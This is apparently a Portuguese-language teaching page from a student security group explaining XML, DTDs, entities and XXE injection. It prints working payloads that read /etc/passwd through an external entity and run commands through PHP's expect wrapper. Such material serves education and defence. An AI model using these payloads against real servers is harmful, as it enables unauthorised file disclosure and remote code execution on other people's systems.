2020 - XML External Entities (XML) Injection

O que é XXE Injection?

XXE (XML external entity) Injection é uma vulnerabilidade web que permite ao atacante se aproveitar do processamento de dados XMLs de uma aplicação de maneira maliciosa.
Dentre outros problemas, esse tipo de ataque pode levar o atacante à visualização de arquivos confidenciais e à interação com o backend da aplicação (e, possivelmente, sistemas externos), levando a possíveis SSRFs.
Mas antes de entender como funciona esse ataque, devemos entender o que é: XML, DTDs e entidades.

Explicando brevemente XML

XML significa Extensible Markup Language. Essa linguagem de marcação foi criada para armazenar e transportar dados, assim como o JSON. Por sinal, a popularidade do XML diminuiu devido ao JSON.
O XML utlizada tags em uma estrutura de árvore, de forma similar ao HTML (tags uma dentro da outra e dados entre o ínicio e o fim das tags). Entretanto, o XML não tem tags predefinidas, ou seja, a pessoa que está criando o XML pode definir suas próprias tags, como no exemplo abaixo:
1
<?xml version="1.0" encoding="UTF-8"?>
2
<msg lang="pt-br" category="web">
3
<from> Ganeshers </from>
4
<to> All </to>
5
<title> Exemplo para os bixos </title>
6
<body> Esse é um exemplo de XML bem simples! </body>
7
</msg>
Copied!
Para saber um pouco mais sobre XML, pesquise em sites como a w3schools.

DTD (Document Type Definition)

Como descrito acima, DTD significa "definição de tipo de documento" e ela contém declarações que definem a estrutura do XML, os tipos de dados que ele contém e mais. A DTD é opcional. Ela é declarada dentro de um elemento chamado DOCTYPE no começo do documento XML. Além disso, a DTD pode ser interna - declarada dentro do documento XML - ou externa - carregada de uma fonte externa.
Para exemplificar, uma XML com DTD segue esse padrão:
1
<?xml version="1.0" encoding="UTF-8"?>
2
<!DOCTYPE doctype_name [
3
<!ELEMENT elem1 (elem2, elem3)>
4
<!ELEMENT elem2 (#PCDATA)>
5
<!ELEMENT elem3 (#PCDATA)>
6
]>
7
<elem1>
8
<elem2> Dados do elem2, bom dia </elem2>
9
<elem3> aaaa 1235125 pode haver qualquer coisa aqui </elem3>
10
</elem1>
Copied!
_Obs.: PCDATA significa "Parsed Character Data" e representa um tipo de dado qualquer (não sei como explicar melhor, desculpa).

Entidades XML

As XML entities são uma forma de representar itens do documento XML sem usar seus dados diretamente. Pode-se pensar que essas entidades seriam como variáveis em uma linguagem de programação.
Essas entidades podem ser das especificações/padrões do XML, como &lt; e &gt; (que representam < e >), ou podem ser costumizadas. As entidades customizadas são definidas dentro do DTD, como no exemplo a seguir.
1
<?xml version="1.0" encoding="UTF-8"?>
2
<!DOCTYPE teste [ <!ENTITY texto_com_top "Top top" > ]>
3
<tag_generica> &lt;&texto_com_top;&gt; </tag_generica>
Copied!
Nesse documento XML, &texto_com_top; seria substituido por<Top top>.
Com base nesse exemplo, nota-se que as entidades criadas devem ser referenciadas com & + nome da entidade + ;.

Entidades internas

Como no exemplo anterior, as entidades internas são definidas no próprio documento XML, dentro do DTD do qual elas fazem parte, ou seja, não é necessário que o servidor que está processando o XML busque algum dado fora do documento.

Entidades externas

Já esse tipo de entidade é caracterizado por conter uma definição que está fora do documento XML, ou seja, o resposável por processar o XML com uma entidade externa deverá buscar a definição da entidade fora do DTD. Esse tipo de entidade vem com a palavra-chave SYSTEM para indicar que ela é externa. Após o SYSTEM, há uma URL indicando de onde o valor deve ser carregado.
A entidade externa pode refenciar tanto servidores e serviços externos quanto o próprio servidor interno (usando o protocolo file://).
1
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>
2
3
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>
Copied!

Voltando ao ataque

Agora que já foi explicado um pouco sobre XML, vamos entender um pouco sobre o ataque...
Esse tipo de Injection é possível em aplicações que usam XML para transmitir dados entre cliente (navegador) e servidor. O XML enviado para o servidor (backend) é "tratado" por um parser (normalmente de alguma API ou biblioteca já existente) e muitas vezes esse tratamento é feito de forma indevida, permitindo que o dado enviado pelo cliente/atacante possa manipular o funcionamento do backend de forma maliciosa. Com exemplos, isso ficará mais claro...

Exemplo 1: acessando arquivos do servidor

Como explicado anteriormente, as entidades externas presentes em documento XML podem buscar arquivos dentro do próprio servidor por meio do protocolo file://. Sendo assim, em certos casos no qual há vulnerabilidade no tratamento do XML, pode ser possível acessar arquivos como /etc/passwd por meio de um XXE Injection:
1
<?xml version="1.0"?>
2
<!DOCTYPE root [
3
<!ELEMENT root ANY>
4
<!ENTITY xxe SYSTEM 'file:///etc/passwd'>
5
]>
6
<root> &xxe; </root>
Copied!
Caso o servidor retornasse o que está em <root> para ser exibido em um documento HTML, receberíamos o conteúdo de /etc/passwd.

Exemplo 2: Execução de código remoto com PHP

Com um pouco de sorte, é possível que o servidor tenho o módulo (wrapper) expect carregado (por padrão ele não é), o que possivelmente permitirá execução de código a partir de um payload como o a seguir.
1
<?xml version="1.0" encoding="ISO-8859-1"?>
2
<!DOCTYPE foo
3
[<!ELEMENT foo ANY >
4
<!ENTITY xxe SYSTEM "expect://exec('ls -la')" >
5
]>
6
<creds>
7
<user> &xxe; </user>
8
<pass> 123 </pass>
9
</creds>
Copied!
Além desse exemplos, há diversos outros possíveis ataques a partir dessa vulnerabilidade. Alguns links que podem ser interessantes para aprender um pouco mais sobre XXE Injection são: